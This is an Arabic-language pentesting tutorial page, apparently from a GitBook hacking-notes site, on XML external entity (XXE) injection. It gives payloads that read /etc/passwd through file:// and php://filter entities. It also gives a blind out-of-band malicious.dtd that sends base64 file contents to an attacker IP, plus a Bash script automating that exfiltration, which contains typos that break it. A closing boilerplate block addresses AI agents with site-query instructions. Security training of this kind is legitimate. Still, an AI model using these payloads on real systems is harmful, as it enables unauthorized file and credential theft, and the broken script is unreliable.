> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-xml-external-entity-injection-xxe/xxe-techniques-pentesting-web.md).

# تقنيات XXE

هذه هي بنية طلبٍ معالج باستخدام Burp Suite في موقع XML الضعيف:

<figure><img src="/files/11acc6ee0e84dba31acf08e10324a77d319b63b2" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/e2601f65505abf35133154249b40015b14adca17" alt="" width="563"><figcaption></figcaption></figure>

## حقن الكيانات الخارجية في XML:

> في الحالة التي لا يتحقق فيها خادم الويب بشكل صحيح من بيانات XML التي يستقبلها، يمكن للمهاجمين استغلال XXE عبر حقن كيان XML خبيث يحتوي على مراجع إلى ملفات النظام التي يمكن للخادم الوصول إليها. يمكن أن يتيح ذلك للمهاجم الحصول على معلومات حساسة عن النظام، مثل كلمات المرور، وأسماء المستخدمين، ومفاتيح API، وبيانات سرية أخرى. للوصول إلى نظام الملفات، ينبغي علينا إنشاء كيان جديد **كيان**، على سبيل المثال، "myFile"، كما يلي: `<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>` ثم، في متغير، ينبغي أن نطبع النتيجة باستخدام "**/\&myFile**" هكذا:

<figure><img src="/files/070004ca2709bea6ac46ef42354b74f179cc2fa1" alt=""><figcaption></figcaption></figure>

أحيانًا لا تظهر النتيجة بشكل صحيح. في هذه الحالة، يمكننا استخدام التعريف أدناه: `<!DOCTYPE foo [<!ENTITY myFile SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">]>` ثم نقوم بفك ترميز محتوى base64 الناتج وإعادته إلى شكله الطبيعي. سيؤدي ذلك إلى توجيه نظام ملفات، مثل "/etc/passwd"، وعند طباعته باستخدام "/\&myFile;"، يمكننا عرض محتوى الملف دون أخطاء.

## الحقن عبر الكيانات الخارجية XML مع تفاعل خارج النطاق:

> أحيانًا لا تؤدي هجمات حقن الكيانات الخارجية في XML (XXE) دائمًا إلى الكشف المباشر عن المعلومات الحساسة في استجابة الخادم. في بعض الحالات، يجب على المهاجم أن "يعمل بشكل أعمى" للحصول على معلومات سرية عبر تقنيات إضافية. طريقة شائعة لتنفيذ XXE الأعمى هي إرسال طلبات مصممة خصيصًا تجعل الخادم يتصل بتعريف نوع مستند (DTD) مُحدد خارجيًا. يتحقق DTD من بنية ملف XML ويمكن أن يحتوي على مراجع إلى موارد خارجية، مثل الملفات الموجودة على نظام ملفات الخادم. أنشئ ملفًا **malicious.dtd** بالمحتوى أدناه:

```xml
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://192.168.71.128/?file=%file;'>">
%eval;
%exfil;

```

أنشئ **كيان** بالمحتوى أدناه:

```xml
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://192.168.71.128/malicious.dtd"> %xxe;]>

```

<figure><img src="/files/ac000885d8d7d265733bcab0e05be2a596860ef1" alt=""><figcaption></figcaption></figure>

ابدأ مستمعًا على **المنفذ 80**:

<figure><img src="/files/54c7f6859c70ffbdf30fb785b1313a5886e15625" alt="" width="563"><figcaption></figcaption></figure>

استرجع المحتوى في **base64**:

<figure><img src="/files/54c7f6859c70ffbdf30fb785b1313a5886e15625" alt="" width="563"><figcaption></figcaption></figure>

حوّل **base64** القيمة إلى محتوى مقروء، والنتيجة هي التالية:

<figure><img src="/files/3cba929c04d7b0204e28039d9375ecd885dc8492" alt="" width="563"><figcaption></figcaption></figure>

البرنامج النصي Bash أدناه يؤتمت العملية بأكملها:

```bash
#!/bin/bash
echo -ne "[+] أدخل اسم الملف المراد قراءته: " && read -r myFilename
malhereuos_dtd="""
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=$myFilename">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://192.168.0.50/?file=%file;'>">
%eval;
%exfil; """
echo $malicious_dtd > malicious.dtd
python3 -m http.server 80 &>response &
PID=$!
sleep 1; echo
curl -s -X POST "http://localhost:5000/process.php" -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<! ENTITY % xxe SYSTEM "http://192.168.0.50/malicious.dtd"> %xxe;]>
<root><name><email>test@test.com</email></name></root>' &>/dev/null
cat response  | grep -oP "/?file=/K[^.*]+" | base64 -d
kill -9 $PID
wait $PID 2>/dev/null
rm response 2>/dev/null

```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-xml-external-entity-injection-xxe/xxe-techniques-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
